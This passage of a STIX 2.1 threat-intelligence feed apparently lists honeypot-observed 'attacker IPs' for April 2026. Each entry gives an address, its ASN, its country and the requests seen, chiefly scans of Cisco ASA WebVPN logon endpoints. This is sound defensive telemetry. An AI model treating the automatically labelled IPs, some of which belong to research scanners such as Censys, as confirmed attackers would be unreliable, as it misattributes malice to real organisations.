        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-02T15:01:46.765Z",
          "last_seen": "2026-04-02T15:02:03.144Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 202656 (Ivanov Vitaliy Sergeevich)",
      "id": "indicator--c05350d7-7aad-492c-aceb-7fe76bf15320",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.212.60.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-02T15:03:53.316Z",
          "last_seen": "2026-04-02T15:04:10.933Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 202656,
          "as_org": "Ivanov Vitaliy Sergeevich",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--11336ecd-9c61-434d-9e24-529d3e9d6b88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.252.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-02T15:06:02.347Z",
          "last_seen": "2026-04-02T15:06:17.644Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--c8b4f5c3-047c-4aa6-93d9-fc6458cbe421",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.184.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-02T15:10:16.342Z",
          "last_seen": "2026-04-02T15:10:33.191Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--f5c696e4-e4b3-4bde-b339-d0eeacf4579b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.21.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-02T15:08:23.078Z",
          "last_seen": "2026-04-03T03:56:36.805Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--6bf7bfb1-bf72-447f-a5da-694feb6d289d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.40.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-02T14:27:29.158Z",
          "last_seen": "2026-04-03T03:57:31.065Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--6e39fb9b-2a8e-422c-aa9f-baa26623b680",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.228.48.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-02T14:59:25.610Z",
          "last_seen": "2026-04-02T14:59:38.948Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--7a2c867a-8073-49bc-94a9-3ff1fd9dc6a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.144.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T14:36:28.519Z",
          "last_seen": "2026-04-02T14:36:31.523Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 202656 (Ivanov Vitaliy Sergeevich)",
      "id": "indicator--e0375b85-64b7-4faa-b9f9-63dc84c83cef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.192.51.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-02T14:34:03.646Z",
          "last_seen": "2026-04-02T14:34:22.506Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 202656,
          "as_org": "Ivanov Vitaliy Sergeevich",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.132.26.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:20:11.000Z",
      "valid_until": "2026-05-04T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-02T16:32:18.004Z",
          "last_seen": "2026-04-24T19:01:29.922Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--48a540ce-d2b2-4ff5-b392-7d45432f2540",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:20:11.000Z",
      "valid_until": "2026-05-04T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T16:55:41.862Z",
          "last_seen": "2026-04-02T16:55:44.865Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /login/login HTTP/1.1\" 404 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--049804c6-5d80-483a-89ac-f45106205d3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:20:11.000Z",
      "valid_until": "2026-05-04T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T16:56:05.207Z",
          "last_seen": "2026-04-02T16:56:08.209Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET /login/login HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T20:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NG; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--be5139c6-1e1a-41db-9ba1-c6088ec9d3a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.141.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T20:20:11.000Z",
      "valid_until": "2026-05-04T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-02T19:32:20.649Z",
          "last_seen": "2026-04-02T19:33:10.072Z",
          "country": "Nigeria",
          "country_code": "NG",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T20:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--517d74b1-69fa-437b-a864-55b2111c3453",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '178.159.95.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T20:20:11.000Z",
      "valid_until": "2026-05-04T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-02T20:01:11.098Z",
          "last_seen": "2026-04-02T20:01:38.088Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T20:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--11f12bd2-7ee3-40e6-9b26-aec890b6c7cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.160.217.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T20:20:11.000Z",
      "valid_until": "2026-05-04T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-02T20:01:18.062Z",
          "last_seen": "2026-04-03T03:57:24.828Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T20:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f9d84bbc-d0dd-4e3d-8be5-d69c467a0e88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.252.190.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T20:20:11.000Z",
      "valid_until": "2026-05-04T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-02T20:01:07.410Z",
          "last_seen": "2026-04-02T20:01:40.590Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T20:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--07d9c4a0-9d5e-4d1b-9e3a-9343888944d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '95.214.83.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T20:20:11.000Z",
      "valid_until": "2026-05-04T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-02T20:01:14.579Z",
          "last_seen": "2026-04-02T20:01:46.102Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--89f167ae-3cfb-41ca-b1d0-058e0e2809d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:20:11.000Z",
      "valid_until": "2026-05-04T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-02T20:56:50.832Z",
          "last_seen": "2026-04-02T20:57:24.704Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T00:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--90c64e9f-6830-4a18-a1ca-67db715e3513",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.249.167.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:20:12.000Z",
      "valid_until": "2026-05-05T00:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-02T23:43:27.951Z",
          "last_seen": "2026-04-02T23:44:07.503Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T00:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1601d832-33a0-4d2b-bf48-8c8eca51dd80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.249.218.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:20:12.000Z",
      "valid_until": "2026-05-05T00:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-02T23:43:19.584Z",
          "last_seen": "2026-04-02T23:44:01.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T00:20:12.000Z",
